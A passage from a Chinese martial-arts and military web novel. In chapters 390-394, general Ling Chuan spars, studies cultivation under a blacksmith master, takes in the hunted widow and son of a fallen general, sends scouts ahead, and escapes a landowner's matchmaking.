以至于,无论是马槊还是陌刀,只有军中部分将领配备,极少有普及的情况。 面对洛青云抢先出手这一刺,凌川不敢怠慢,双臂运力,破殇锋划出一道银弧,硬生生向外格挡。 ‘当!’一声刺耳的金铁交鸣炸响,火星四溅。 凌川只觉手臂一震,心中暗惊,洛青云此刻展现的力量,远比平日对练时刚猛数倍,若非自己真气初成,只怕这一下就足以让长枪脱手。 凌川双手缠着纱布,那是前几日被屠夫一刀震裂虎口,还未完全恢复,但这对他施展枪术的影响并不大。 只听他一声轻吒,双脚猛蹬马镫,身形借势前冲,手中长枪如白蛇吐信,枪尖颤动,化作数点寒星,疾风骤雨般罩向洛青云前胸诸处要害,这一招迅捷诡谲,令人防不胜防。 洛青云临危不乱,马槊一横,宽阔的槊锋精准地封住所有来势,将凌厉的枪势尽数化解。 紧接着,他吐气开声,双臂肌肉贲张,竟将长长的马槊当做大刀般抡起,以力劈华山之势,挟着沉重攻势,朝着凌川当头劈下。 枪和槊都属于同类型兵器,所以,在招式上有很多共同之处,但也有一些差别,就拿这一记劈斩而言,便是借用了马槊长长的槊锋利刃,这是枪术中所没有的。 凌川瞳孔微缩,双膀发力,将破殇锋高举过顶,呈举火燎天式硬接这一劈。 又是一道金石撞击声,巨大的冲击力让他身形微微一晃,但他应变极快,顺势利用枪身的弹性卸去部分力道,紧接着腰身一拧,使出一招怪蟒翻身。 霎时间,长枪如巨蟒扭动身躯,借着反弹之力,枪尖划出一道诡异的弧线,从一个极其刁钻的角度反撩向洛青云肋下。 洛青云曾为禁军都尉,凭手中这杆马槊博得‘一槊在手,马战无敌’的美誉,经验何等老辣。 面对这突如其来的反击,他丝毫不乱,马槊疾收,槊杆如铁索横江,稳稳架住这刁钻一击,两件兵器再次碰撞,发出令人牙酸的摩擦声。 转眼间,两人已交手十余回合,枪槊往来如风,寒光闪烁,劲气四溢。 围观的士兵们屏息凝神,眼睛瞪得老大,唯恐错过任何一个精彩瞬间。 洛青云越打越是心惊,他清晰地感觉到,凌川的速度、力量以及对战机的把握,比十日前强了何止一筹。 更令他难以置信的是,凌川体内那股初生的真气,竟如此雄浑磅礴,绵绵不绝,在硬碰硬的对撼中丝毫不落下风。 众所周知,三重境之下,对于实力的提升并不明显,由此可见,凌川体内的那道真气确实非比寻常。 思忖间,两人又过了二十余招。 凌川的枪法愈发纯熟,时而如灵蛇出洞,迅疾刁钻;时而如大江奔流,气势磅礴。 洛青云则将马槊的威力发挥得淋漓尽致,劈、刺、扫、砸,刚猛霸道,每一击都蕴含着沙场宿将的狠厉与沉稳。 激斗正酣,洛青云眼尖,瞥见凌川虎口处的纱布已渗出鲜血,显然伤口再次崩裂。 他心中一凛,虚晃一槊,逼开凌川半步,随即收招后退,收槊于身侧,朗声道:“将军!属下认输!” 凌川知他心中顾虑,闻言收枪笑道:“看在你今日还算卖力的份上,既往不咎。不过,这奖赏可就没了!” 此番交手,二人虽没有生死相向,但洛青云已然尽力,加之自己虎口的伤势,再打下去已无意义,便顺坡下驴,就此收手。 而且,凌川也凭此对自己的实力有了一个大致认知定位。 回到马车中,苏璃小心地解开他被鲜血浸透的纱布,看着那再次崩裂、皮开肉绽的虎口,眼中满是心疼,语气不由带上了几分责备:“相公,你明知自己伤势未愈,为何还这般不知轻重,与人逞强斗狠?” 凌川讪讪一笑,试图用轻松的语气掩饰:“一时兴起,手痒难耐,便想试试身手!” “我看你是伤疤还没好就忘了疼!”苏璃又是气恼又是无奈,拿起酒壶,将狼血倒在伤口上为其清洗。 药粉触及皮肉,顿时传来一阵尖锐的刺痛,凌川忍不住倒吸一口凉气,龇牙咧嘴。 苏璃看着他这副模样,担忧的眼神中带着一丝不容置疑的警告:“这下看你还手痒不痒了!若再这般不顾惜自己,我可不轻饶你!” 接下来的两日,凌川果然安分了许多,他来到后面那辆装载物资的马车,与杨铁匠并肩而坐,虚心请教起修炼上的种种疑惑。 杨铁匠倒是并未藏私,将自己多年的感悟娓娓道来。 不过,他也明确点出:“小子,我说的这些,大多是我自己摸爬滚打悟出来的路子,如同我打铁的习惯,未必适合你,修炼一途,最忌生搬硬套!” 凌川听得入神,不禁好奇问道:“杨师傅,难道修炼之法,就没有现成的功法典籍可以参照学习吗?若有书本,我也能少叨扰您些。” 杨铁匠闻言,斜睨了他一眼,嗤笑道:“老夫随身带那玩意儿作甚?擦屁股都嫌它硬得硌人!” 凌川先是一愣,随即了然。 到了杨铁匠这般境界,早已超脱了典籍的束缚,走出了独属于自己的道路,自然视那些前人之法如无物。 杨铁匠灌了一口酒,继续说道:“其实,即便是那些传承了数百年的名门大派,其所珍藏的,也多是祖师先贤的修炼心得与感悟笔记,充其量算是路标和借鉴,绝非让你一步步踩着脚印走的死板章程。” “修炼好比弈棋,自古便有‘千古无同局’之说,每个人对真气的理解和驾驭方式皆不相同,别人的康庄大道,未必就适合你的脚!” “路,终归要自己一步一个脚印踩出来,方能踏实!” 第一卷 第390章 道门始经 这番话如暮鼓晨钟,让凌川有种豁然开朗之感,同时也颠覆了他以往的一些想法。 原来世间并不存在一部就能造就顶尖高手的‘绝世秘籍’。 细想之下,也确实如此,武道之玄奥,又岂是区区文字能够尽数囊括的?就如同精妙的感悟,任凭文字描述得再详尽,图谱绘制得再精准,终究是死物,难以传递其中的神韵与瞬息万变的实战精要。 “若你真想找一部典籍作为参考,开拓眼界……”杨铁匠略作沉吟,说道,“不妨去寻《道藏》一观,那是千年前道门一位惊才绝艳的老祖所初创,又历经后世历代道门真人的增补与完善,被尊为‘道门始经’!” “道门始经?”凌川还是第一次听到这个名号。 “不错。”杨铁匠点了点头,神色间难得地带上了一抹郑重。 “天下武学,流派繁多,看似千差万别,实则追本溯源,其根基道理大多殊途同归。而许多流派的理念,或多或少都曾受这部《道藏》的启发,或者说,都能从中找到隐约的影子!” 杨铁匠继续说道:“它阐述的并非具体招式或运气法门,而是天地运行、阴阳变化、身心合一的根本大道,是武学乃至一切修行法门的智慧源头之一,若能悟透其中一二,对你日后之路,当有裨益!” “那这本典籍,要去何处才能寻得?”凌川追问道,眼中闪烁着渴望。 杨铁匠慢悠悠地喝了口酒,泼了盆冷水:“道门的几处祖庭倒是都有珍藏。不过,那是人家的不传之秘,外人想借阅?门儿都没有!” “如此说来……就只剩下硬抢这一条路了?”凌川下意识地低声嘀咕。 杨铁匠闻言,没好气地白了他一眼:“先不说你有没有本事从道门祖庭里把东西抢出来。就算你真得手了,便是与天下道门结下了不死不休的梁子。到那时,恐怕所有道门弟子都会视你为公敌,群起而攻之!” 他顿了顿,语气带着几分告诫:“别以为那些道门大派平日里互相不服气,但你要是敢动被他们视为根基的道门始经,他们绝对会立刻放下成见,追到北疆灭了你。” “杨老头!”凌川忽然想到什么,好奇地问,“你看过那部《道藏》吗?” “看过!”杨铁匠回答得云淡风轻,“不过早就忘了!” “你也不是道门中人,你如何看到的?”凌川十分好奇。 “抢的!” 凌川:“……” “你刚刚说什么来的……抢了道门始经,便是与整个道门弟子为敌?” “那得看是谁去抢!”杨铁匠一副理所当然的表情,“当年我不过是一时兴起,觉得好奇,抢到手之后,当场翻看了一遍,便随手丢还给他们了!” 凌川一阵无语,心中暗道:果然,只要实力足够强横,规矩什么的都是浮云。 他厚着脸皮凑近些,试探着问:“那……要不,您老再帮我抢一次?” “要去你自己去,老夫没那闲工夫!”杨铁匠拒绝得干脆利落,随即话锋一转,“不过,你想看《道藏》,也未必非得去道门抢!” “还有什么办法?”凌川眼中重新燃起希望,连忙追问。 “除了道门六大祖庭,还有一个地方收藏了这部典籍!” “什么地方?” “神都,皇宫!” 凌川一听,刚刚燃起的希望之火又熄灭了大半,悻悻道:“那还不如去道门祖庭抢呢,闯皇宫的罪过恐怕更大……” 杨铁匠抬手敲了一下他的后脑勺,笑骂道:“你小子平时精得跟猴似的,现在怎么变成榆木疙瘩了?你这次回神都可是去接受封赏的!你就不会找个机会,向皇帝老儿开口借阅?” 凌川目光骤然一亮,这确实是个办法,虽然不知陛下是否会应允,但总算有条正大光明的路径可循。 接下来的几日,凌川大多时间都留在杨铁匠身边打坐修炼,依照这位宗师的指点,尝试引导和控制气海中那道独特的真气。 如今,他气海内的真气已凝实如一条金色的丝带,灵动地游弋盘旋,与寻常武修的真气形态并无二致。 以至于凌川自己有时都会怀疑,当初那头金鳞巨蟒的异象,究竟是真实还是幻觉。 最初尝试时,这道真气滑溜得像条泥鳅,总在他的意念即将触及的瞬间逃开,在气海中四处乱窜,屡次失败后,凌川已是身心俱疲。 可每当他心生放弃之念,那真气又会主动凑上来挑衅般跃动,活像个顽劣的孩童。 “大哉天地气,呼吸有盈虚……”杨铁匠低沉的声音适时在他耳边响起,如同暮鼓晨钟,“天地有象见之易,阴阳无形识其难……” “武修体内的真气,与天地间的阴阳二气同理,若一开始便想着强行镇压,令其臣服,只会适得其反。高明的法子,是将其视为一个独立的生灵,亲近它,引导它,而非束缚它。唯有如此,方能激发其真正的潜力。这也是为何宗师境高手能引动天地之力的根本缘由。” 在杨铁匠的悉心点拨下,经过数日不辍的尝试,凌川的意识终于与这道桀骜的真气建立起微妙的联系。 他开始用意念引导这道金色真气在四肢百骸的经脉中游走,时而如溪流潺潺,时而如嬉戏追逐…… 不得不说,有一代宗师亲自指点,凌川的进步堪称神速,虽还未到心念一动、真气便如臂使指的程度,但已能较为自如地引导其在经脉中流转运行。 就在这时,沈珏快步来到马车旁,见凌川正在闭目打坐,立刻收声驻足。 “何事?”凌川缓缓睁开双眼,眸中一丝金芒隐现又迅速敛去。 “将军,前方有人拦路。”沈珏禀报道。 “什么人?”凌川眉头微蹙。 “是一对孤儿寡母。”沈珏答道。 “去看看。”凌川身形一跃,轻盈落在黑风马背,策马来到队伍最前方。 只见洛青云等将领已勒马驻足,个个面色凝重。 前方官道中央,一名年近三十、身着麻衣孝服的妇人,带着一个约莫七八岁、同样披麻戴孝的小男孩,正直挺挺地跪在路中间。 第一卷 第391章 阵亡将领遗孀 “怎么回事?”凌川看向身旁的洛青云问道。 “这母子二人一直跪在此处,属下上前询问,他们始终一言不发。”洛青云回禀道,语气中也带着疑惑。 就在此时,那一直低着头的妇人猛地抬起脸,露出一双红肿不堪、布满血丝的眼睛,用嘶哑干涩的声音颤声问道: “敢问……来的可是北疆的凌川凌将军?” 凌川一愣,点头道:“在下北系军云州副将凌川,敢问夫人是?” 凌川闻言一怔,旋即点头应道:“在下正是北系军云州副将凌川,敢问夫人是……” 那妇人得到确认,浑身一颤,猛地一个头磕在地上,发出沉闷的响声,同时一只手死死按住身旁小男孩的后颈,强迫他也一同跪伏下去。 她抬起头时,额上已沾满尘土,声音凄厉而绝望:“求凌将军为我们孤儿寡母做主!替我夫君讨还一个公道啊!” 凌川心头一凛,立刻翻身下马,快步上前,洛青云与沈珏见状,也紧随其后,警惕地护卫在侧。 “夫人快快请起!有何冤屈,但讲无妨,万万不可行此大礼!”凌川伸手,稳稳托住妇人的手臂,欲将她搀起。 指尖触及之处,只觉妇人臂膀瘦削,浑身都在微微颤抖。 这母子二人皆是满身风尘,衣衫褴褛,脚上的鞋子早已磨破,露出裹满泥污、隐约渗着血痕的脚趾,显然历经了难以想象的磨难,才逃难至此。 “妾身……妾身乃是北系军前靖州副将秦简的未亡人!”妇人借着凌川的搀扶勉强站直,未语泪先流,声音哽咽得几乎破碎,“我夫君战死边关,尸骨未寒……可、可有人却要对我们孤儿寡母赶尽杀绝!求将军看在同袍之谊上,为我们做主啊!” 此言一出,宛如一道惊雷在凌川耳畔炸响,他扶住妇人的手猛地一紧。 身后的洛青云等人更是瞬间脸色大变,神情呆滞,几乎不敢相信自己的耳朵。 四个月前北疆全面开战,为了掩护百姓南撤,一万靖州军选择死守栖霞关,浴血奋战,最终全军覆没,壮烈殉国。 战后,凶残的胡羯人竟将阵亡将士的尸首堆积成一座座骇人的‘京观’,而主将秦简的首级更被砍下,高悬于残破的城门之上,用以示威。 胡羯退兵后,靖州主将姚钦延亲赴已化为焦土的栖霞关。 当他看到那由昔日部下尸骸垒砌的惨状时,这位铁骨铮铮的汉子当场双膝跪地,悲恸欲绝,久久无法起身。 最后,他亲手取下爱将那颗鲜血早已流干的首级,紧紧抱在怀中,连同其寻回的残躯,一路护送回靖州。 凌川虽未曾与这位英雄谋面,但靖州秦简的威名与壮举,在北系军中无人不知,无人不敬! 他是那场惨烈战役中,殉国将领里职位仅次于阑州主将许牧舟的高级将领,严格意义来说,许牧舟是遭敌刺杀,而秦简则是真正率领残部与敌血战至最后一刻,流尽最后一滴血,最终被枭首示众的! 战后,朝廷感其忠烈,追封秦简为武毅将军,恩荫其长子入大理寺任职。 按常理,此等忠良之后,其家眷理应受到朝野尊崇、妥善安置才对,为何会沦落到被人追杀、不得不拦路求救的境地? 凌川强行压下心头的惊涛骇浪,手上用力,稳稳扶住几近虚脱的妇人,沉声道:“嫂子!你有话慢慢说!无论遭遇何等不公,我凌川定当竭尽全力,为秦将军、为你们母子讨个公道!” “谢……谢过将军……”妇人听到这句承诺,紧绷的心神一松,话未说完,眼前一黑,身体便软软地向下倒去。 “嫂子!”凌川惊呼一声,连忙将其扶住。 “娘亲!娘亲你怎么了?你别吓羽儿啊!”一直表情麻木的小男孩见状,顿时爆发出撕心裂肺的哭喊,扑上来紧紧抱住母亲的双腿,用力摇晃着,那双稚嫩的眼睛里充满了恐惧和无助。 “快!拿水来!”凌川急呼。 苍蝇迅速递上水壶,小心地往妇人唇边灌了些清水,随即让人唤来翠花,让她小心地将昏迷的妇人抱起,送往后面的马车。 “娘亲!你别丢下羽儿!娘亲……”小男孩哭喊着想要追上去,却因体力不支,脚下一绊,重重摔在地上。 凌川心如刀绞,弯腰将小男孩一把抱起。 孩子在他怀中奋力挣扎,哭得声嘶力竭,泪水混着泥土糊满了小脸:“娘亲!你不要死……爹爹已经死了,你别丢下羽儿一个人……娘亲……” 这场景,让凌川不由得想起了当初将小北带回军营时的情形,胸口一阵窒闷的痛楚。 他收紧手臂,尽量用平稳的声音安抚道:“别怕,你娘亲没事,她只是太累了,睡一会儿就好。” 另一边,翠花将妇人抱到马车旁,苏璃早已闻声赶来,见状立刻上前搭手,两人小心翼翼地将妇人安置在车厢内。 很快,亲兵队中的随行军医也被请来,仔细诊查后回禀道:“将军,这位夫人乃疲劳过度,加之长时间饥渴交迫,方才昏厥,暂无性命之忧!” 众人闻言,这才稍稍松了口气。 凌川当即下令队伍原地休整。苏璃拿着水和食物走到被凌川抱在怀里、仍在抽噎的小男孩身边,柔声道:“羽儿不哭,你娘亲睡一觉就会好的,你先吃点东西,可不能饿坏了!” 小男孩看了看苏璃手中的馒头,又担忧地望了望车厢方向,抿着嘴没有伸手。 苏璃立刻明白了他的心思,温柔地摸了摸他的头,微笑道:“快吃吧,馒头还有很多,等你娘亲醒了,也有得吃!” 听到这话,小男孩才迟疑地接过馒头,仿佛终于放心许多,立刻狼吞虎咽起来,三两下就将一个大馒头塞进了嘴里,吃得急了,忍不住咳嗽起来。 “慢点吃,喝口水,别噎着了!”苏璃一边轻拍他的后背,一边将水壶递到他嘴边。 约莫半个时辰后,马车内的妇人悠悠转醒。 一直守在一旁的小男孩脸上瞬间绽放出光彩,激动地扑到母亲身边,将一直捂在怀里、尚且温热的馒头递过去,声音带着哭腔却满是欢喜:“娘亲!您醒啦!快吃馒头,还是热的!” 第一卷 第392章 冰山一角 待那妇人用过些食物饮水,脸上终于恢复了几分血色。 她挣扎着起身,拉过身边的小男孩,便要向凌川等人行大礼:“妾身吴慧兰,携幼子秦羽,谢过将军与诸位救命之恩!” “嫂子万万不可!”凌川连忙虚扶制止,“我与秦将军虽缘悭一面,但同属北系军,皆为戍边袍泽。秦将军为国捐躯,壮烈殉国,凌川内心唯有敬仰!袍泽家眷蒙难,岂有袖手旁观之理?” 他请吴氏重新坐好,神色转为严肃:“嫂子,还请将你们母子为何流落至此,以及究竟遭遇了何等不公,细细说与我听!” 吴氏深吸一口气,眼中泛起痛苦与恐惧的波澜,缓缓道来:“两个月前,亡夫的骨灰……终于被送回了并州乐平老家。那晚,我正带着羽儿在灵前为他守夜,不料一伙身份不明、黑衣蒙面的恶徒突然破门而入,不由分说,便将我母子二人强行捆绑,套上麻袋掳走……” 凌川心神一紧,立刻追问:“可知对方是何身份?” 吴氏无力地摇头,泪水无声滑落:“我们从头到尾都被蒙在麻袋里,不知被带往何处。等被解开麻袋,已经身处一间暗无天日的地牢。每日只有一个穿着皮甲的士兵,沉默地送来一碗勉强果腹的残羹冷饭,除此之外,再无人理会我们……” 她声音颤抖,显然那段囚禁的日子给她留下了极深的阴影:“直到半月前的一个深夜,那名平日送饭的看守竟忽然打开牢门,压低声音催促我们快逃……当时我们也顾不得多想,连夜逃出了那魔窟。” “本想着北上回北疆寻求庇护,谁知沿途关卡林立,盘查极严。我们不敢走官道,只能翻山越岭,走那些荒僻小道……身无分文,一路乞讨,受尽白眼与驱赶……直到几日前,从定州平叛的消息中得知将军回神都授封的消息,我们母子才抱着一线希望,日夜兼程赶到这必经的官道上等候……”她吃力地说完这段经历,眼中仍残留着挥之不去的惊悸。 吴氏的叙述中,能明确指向幕后黑手的线索确实不多,但直觉告诉凌川,此事背后定然不简单。 毕竟,秦简虽然战死了,但却是朝廷追封的武毅将军,动他的遗孀孤儿,绝非常人所敢为。 凌川目光沉凝,郑重承诺道:“嫂子放心!此事我凌川既已遇上,必当一查到底,定要揪出幕后黑手,还你们母子一个公道,也告慰秦将军在天之灵!” 闻听此言,吴氏压抑许久的悲恸再次决堤,泣不成声:“可是……可是亡夫的骨灰还孤零零摆在乐平家中,未能入土为安……妾身无能,对不起他啊……” 一旁的苏璃见状,轻轻握住她冰凉的手,柔声宽慰:“姐姐切莫过于自责伤心,待我们到了并州,定当亲自为秦将军操持,让他入土为安!” 吴氏掩面点头,哽咽道:“谢过将军,谢过夫人大恩!” “嫂子请安心在马车中休养,接下来的路程,我凌川以性命担保,必护你们母子周全!”凌川语气铿锵,不容置疑。 安顿好吴氏母子后,凌川走到前方空地,将洛青云等几名核心将领召集起来,简要说明了情况。 “将军!”洛青云眉头紧锁,沉声道,“从吴氏所言之中,她所知的信息恐怕连冰山一角都算不上。此事背后牵扯之深、之广,恐怕远超你我想象!” 苍蝇更是气得双目赤红,拳头紧握,骨节发白:“不管是谁,竟敢对边军忠烈之后下手,我非得亲手将他剁碎不可!” 凌川胸中亦是怒火翻腾,但他强迫自己冷静下来,问道:“此地距离并州还有多远?” “不足百里,明日午前便可进入并州地界!”洛青云迅速回答。 “立刻去问问,我们队伍里有没有并州籍的兄弟,找几个可靠的过来,我要先了解些情况。”凌川下令。 很快,十余名士兵被带了过来,他们有的来自洛青云麾下的骑兵,有的则是凌川的亲兵。其中一人,凌川格外熟悉,正是寇悔。 “你们有谁知道乐平县?”凌川开门见山地问道。 “将军,属下知道!”寇悔抱拳出列,“乐平县位于并州西北,即便进入并州境内,也还需再行近两百里路程方能抵达!” 凌川眉毛一挑,三百多里,也不知这母子二人是如何仅凭两条腿走过来的,而且,沿途还要躲避盘查。 他目光锐利地看向寇悔,沉声下令:“寇悔听令!” “属下在!”寇悔挺直身躯,肃然应道。 “我命你,带领这些并州籍的兄弟,再点齐五十名精干士卒,换上便服,即刻出发,先行赶往并州乐平县!你们的任务是暗中查探此事,务必摸清情况!” “属下遵命!” “记住!”凌川补充道,语气严厉,“你们是暗中查访,绝不可暴露身份,更不能打草惊蛇!一切小心为上!” “明白!将军放心!”寇悔郑重领命,眼中闪烁着坚毅的光芒。 队伍再次起程。 当晚在一座县城落脚休整时,苏璃特意让人去为吴氏母子购置了合身的衣物鞋袜,他们一路乞讨而来,衣衫褴褛,几乎与流民无异,实在令人心酸。 随后又亲手给他们磨破的双脚上药,看着母子二人的双脚,苏璃不由得想起自己当初被发配北疆那一路的经历。 次日中午,队伍顺利来到了并州境内的黄柏县。 然而,刚到城门外,他们便被一队守城士兵拦了下来。 “站住!” 领头的一名什长带人挡住了他们的去路,他上下打量着这支队伍,随即问道:“你们是哪里的队伍?” 洛青云早已得到凌川的授意,上前一步,从容应答:“我等是泾南军的弟兄,前些日子接到定州许将军的求援,奉命驰援,可惜路上耽搁,去晚了一步,现打算从并州借道,返回泾南!” 那什长挑了挑眉,带着审视的目光追问:“泾南军?回泾南为何要走我们并州这条道?” 第一卷 第393章 李府有女名倾城 “兄弟有所不知……”洛青云叹了口气,脸上适时地露出几分懊恼,“我们这支偏师原本计划从南面突袭叛军侧翼,所以才绕到这边。谁曾想,那从北疆路过的凌川将军用兵如神,动作太快,我们紧赶慢赶,还是迟了两天,连口汤都没喝上,白跑一趟,一点军功都没捞着!”他语气中的抱怨听起来情真意切。 那什长点了点头,又试探着问:“那……你们在路上,可曾遇见凌川将军的队伍?” 洛青云点了点头:“没见着,不过听说凌将军麾下本就人马不多,此战又损失了不少,估计要在定州休整些时日才会继续上路。” 那什长又盘问了几句,见洛青云对答如流,未发现什么破绽,这才挥挥手,示意放行。 自始至终,凌川都低调地坐在杨铁匠那辆不起眼的物资马车上,未着铠甲,俨然一个普通随从,并未引起任何注意。 队伍刚进城不久,苍蝇便快步来到凌川车旁,手里拿着一张刚从街边墙上揭下的榜文,脸色凝重:“将军,您看这个!” 凌川接过来一看,瞳孔骤然收缩。 那竟是一张海捕文书,通缉令上的画像不是别人,正是秦简的遗孀吴慧兰,而下方罗列的罪名,赫然是‘抛弃忠烈遗孤,卷走朝廷抚恤银两潜逃’。 “呵……有点意思!”凌川指尖捏着那张薄薄的纸,嘴角勾起一抹冰冷彻骨的笑意,“我倒要看看,这背后究竟藏着些什么牛鬼蛇神!” 凌川哪怕没有遇到吴氏母子,也能从这封通缉文书中看出端倪。 但凡有点脑子,都不可能为了那点恤银而抛弃孩子,毕竟,秦简可是朝廷追封的武毅将军,其后续封赏极其丰厚,其子更是可以直接入朝为官,相比起这份‘富贵’区区恤银又算得了什么? 尽管目前掌握的信息十分有限,但这张颠倒黑白的通缉令,无疑印证了他之前的猜想,此事背后,水很深。 “去告诉洛青云,加快速度赶路,务必尽快抵达乐平县!”凌川对苍蝇沉声吩咐,眼中寒光闪动。 “是!”苍蝇领命,立刻转身前去传令。 当晚,队伍在一座小镇落脚。 小镇仅有两家小客栈,被他们全部包下,尽管大部分士兵仍需打地铺将就,但也好过露宿荒野。 次日,队伍加快了行进速度,一口气赶了上百里路,直至暮色四合,才在一处颇为气派的庄园前停下借宿。 庄园主人见他们一行人身披甲胄、手持兵刃,顿时显得惶恐不安,却又不敢直言拒绝。 凌川便让苍蝇前去与庄主交涉,表明他们只是途经此地的官兵,借宿一晚,绝无任何恶意。 那李姓庄主虽满心戒备,但见对方态度还算客气,最终还是勉强应允下来。他大抵是抱着破财消灾的念头,立刻吩咐下人准备酒菜,要好生款待这群不请自来的军爷。 凌川自始至终未曾出面,一切交涉皆由苍蝇出面。 晚宴时分,庄主李员外亲自来到苍蝇这桌敬酒,苍蝇见他如此热情,便顺势邀他一同入座。 “我代兄弟们,多谢李员外的盛情款待,若非员外慷慨,我这些弟兄们,今晚只怕要露宿荒野了!”苍蝇笑着举杯。 李员外年约五旬,生得肥头大耳,本就矮小的身材因发福而显得几乎看不到脖子,尤其是一笑起来,那双眼睛更是眯成了两条细缝。 “史校尉太客气了,各位军爷能光临寒舍,那是蓬荜生辉,千万不必见外!”李员外圆滑地迎合着,尽管内心未必情愿,脸上却始终堆满笑意。 凌川那桌很快便散了席,翠花护送苏璃回房休息,吴慧兰母子则从一开始就被悄悄安置在厢房,饭菜也是专人送去。 至于凌川本人,先是来到杨铁匠那辆马车,跟他聊了一会,才回房间。 不远处,苍蝇与李员外相谈甚欢,同桌的孟钊、余乐等亲兵不好先行离席,只得硬着头皮作陪。 “史校尉真是年轻有为啊,如此年纪便已当上校尉,将来必定前途无量!”推杯换盏间,李员外的奉承话就没停过。 苍蝇只能含糊应和,心中暗暗叫苦,早知此人如此话痨,方才就不该拉他坐下。 酒过三巡,已带了几分醉意的李员外,忽然将一只肥厚的手掌搭在苍蝇肩上,笑眯眯地问道:“史校尉,您觉得……老夫这座庄园如何啊?” 苍蝇不明其意,只得顺着话头客套:“如此气派的庄园,自然是普通人做梦都不敢想的福地!” “可惜啊……”李员外却长叹一声,面露憾色:“老夫膝下无子,只有三个女儿,这偌大的家业,连同这座庄园,将来怕是要随了外姓喽!” 正当苍蝇不知如何接话时,李员外朝远处招了招手。 只见一名二十出头的女子应声走来,她身着名贵绸缎,头戴金钗玉饰,在灯火映照下珠光宝气。 然而,其容貌体态,却实在令人不敢恭维,无论是身形还是相貌,都与李员外如出一辙,尤其是那一口龅牙,更是‘青出于蓝’。 李员外拉着女子的手,颇为自豪地介绍道:“这是小女,倾城!” ‘倾城’二字入耳,正在喝酒的余乐一个没忍住,直接将口中酒液喷了出来。 桌上其余众人也感觉心头仿佛被狠狠一击,暗忖从今往后,倾城这个词,怕是再也不能用来形容女子美貌了。 “倾城见过校尉大人,见过诸位军爷!”那粗犷浑厚的嗓音,让孟钊、余乐等人头皮一阵发麻,脑海中不约而同地浮现出大牛那憨厚的面容。 相比之下,就连翠花的声音都显得悦耳动听;即便是相貌,翠花也称得上清秀顺眼了。 就在这时,苍蝇敏锐地察觉到,李员外这位名为倾城的千金,正目光灼灼地紧盯着自己。 尽管她极力做出羞涩之态,可在苍蝇看来,那眼神活像是猛兽盯上了猎物,令他脊背发凉、头皮发麻。 “不瞒史校尉!”李员外凑近些,压低声音道,“小女至今待字闺中,她对您这样的军中英杰最是仰慕,定要过来一睹风采!” 第一卷 第394章 落荒而逃 苍蝇不由自主地打了个寒颤,颤巍巍地端起酒杯,语无伦次地敷衍:“令爱这……这倾城之姿,果然,果然与众不同,真是让在下大开眼界……” 李员外闻言,竟哈哈大笑起来:“史校尉若是愿意做我的乘龙快婿,我李潘安这万贯家财,日后都是你的!” “史校尉……”就在这时,那名为倾城的女子也适时地夹着嗓子,对苍蝇连抛媚眼,“倾城对你一见倾心……” 尽管她极力模仿娇柔之态,可那效果却让在座众人皆生出一种眼睛和耳朵被共同玷污的感觉。 面对此情此景,苍蝇脸上露出了前所未有的惊恐之色,慌忙摆手:“李员外,此举万万不可!这……这不合适……” 一旁的余乐看热闹不嫌事大,立刻起哄:“校尉大人,这天大的好事,您还犹豫什么?赶紧答应啊!兄弟们可都盼着喝喜酒呢!” “恭喜校尉大人!”孟钊也强忍笑意,一本正经地揶揄道,“不仅能迎娶倾城美娇娘,日后更有享之不尽的荣华富贵。可惜啊,我们就没这么好命咯!” 苍蝇瞪着这几个幸灾乐祸的家伙,牙根痒痒,却碍于场面无法发作。 他赶紧转过头,对李员外正色道:“多谢员外美意!只是……只是在下早已婚配,家中已有三个孩儿,实在不敢耽误令千金!”他试图以此借口搪塞过去。 谁知李员外却摇了摇头,笃定地说:“校尉大人莫要开玩笑啦!方才老夫已向您手下几位兄弟打听过,您分明尚未娶亲!” 苍蝇见一计不成,只得再寻理由:“员外、小姐厚爱,在下感激不尽!只是如今边关不宁,强敌环伺,我等军伍儿郎过的都是刀口舔血的日子,随时可能马革裹尸,实在不忍心拖累他人,耽误小姐终身啊!” 他本以为这番悲壮之词能令对方知难而退,岂料话音未落,那女子两条眼缝中竟迸发出惊人的光芒。 只见她双手交握置于胸前,用无比陶醉的语气感叹道:“哇!我果然没有看错人!也只有史校尉这般心系家国、顶天立地的真英雄,才值得倾城死心塌地,追随一生一世!” 见她这般做作姿态,余乐与孟钊等人只觉胃里一阵翻江倒海,刚吃下去的酒菜险些当场喷涌而出。 苍蝇更是招架不住,猛地站起身,仓皇道:“抱、抱歉,我……我去趟茅房!”说罢,几乎是落荒而逃。 看着苍蝇逃命似的背影,李员外只能无奈地摇了摇头。 他岂会不知,对方是瞧不上自己的女儿? “爹爹!”那女子拉着李员外的衣袖撒娇道,“您一定要想办法留住史校尉,女儿……女儿非他不嫁!” 面对女儿的痴缠,李员外只得安抚道:“我的好女儿,史校尉或许……或许真有难言之隐,爹爹日后定再为你物色一位更好的青年才俊!” 说完,他的目光便缓缓转向了桌上其余几人,脸上重新堆起和蔼的笑容,试探着问道:“却不知……这几位军爷,可曾婚配啊?” 此言一出,孟钊、余乐等人的脸色瞬间变得惨绿。 他们这些在沙场上面对凶残胡羯都未曾皱过眉头的铁血汉子,今夜竟被这位倾城小姐吓得丢盔弃甲,一个个寻着由头,狼狈不堪地逃离。 次日天还未亮,苍蝇便一脚将仍在睡梦中的余乐踹醒,命他带上几名亲兵随自己先行探路。 余乐心知这是校尉大人‘公报私仇’,却碍于军令,只得苦着脸爬起来,招呼几人牵马同行。 队伍起程时,李员外那位千金已站在阁楼之上,目光焦灼地在人群中来回搜寻,见她那望眼欲穿的模样,孟钊等人纷纷低头憋笑,不敢多看。 孟钊依礼前去向李员外辞行,并奉上银钱作为酬谢,李员外却执意不肯收。 一路上,队伍中笑声不断,士兵们碍于军纪不敢放声大笑,却也都忍俊不禁,肩膀耸动。 唯独苍蝇始终黑着一张脸,闷头赶路。 凌川见状,不由得打趣道:“苍蝇,若是觉得惋惜,现在折返回去也还来得及,我非但不怪你,反而会随一个大大的份子!” “将军,您怎么也取笑我!”苍蝇哭丧着脸,几乎要哀嚎出来。 他万万没想到这群家伙嘴如此之快,不过一夜之间,自己这桩‘艳遇’已是人尽皆知。 可以想见,待回到云州,他必将成为全军上下茶余饭后津津乐道的笑柄。 忽然,凌川注意到不远处的余乐正揉着屁股,便正色警告道:“玩笑归玩笑,你若再敢无故殴打下属,休怪本将军不讲情面!” 这话让苍蝇苦涩的脸上多了几分疑惑,他虽恼火,却也不至于如此不知轻重,今早确实踹了余乐一脚,但已是收了力道。 当他扭头望去,只见余乐一边揉着屁股,一边冲他挤眉弄眼,一脸坏笑。 苍蝇顿时明白过来,顿时恨得牙痒痒。 “传令下去,加快行程!”凌川适时下令。 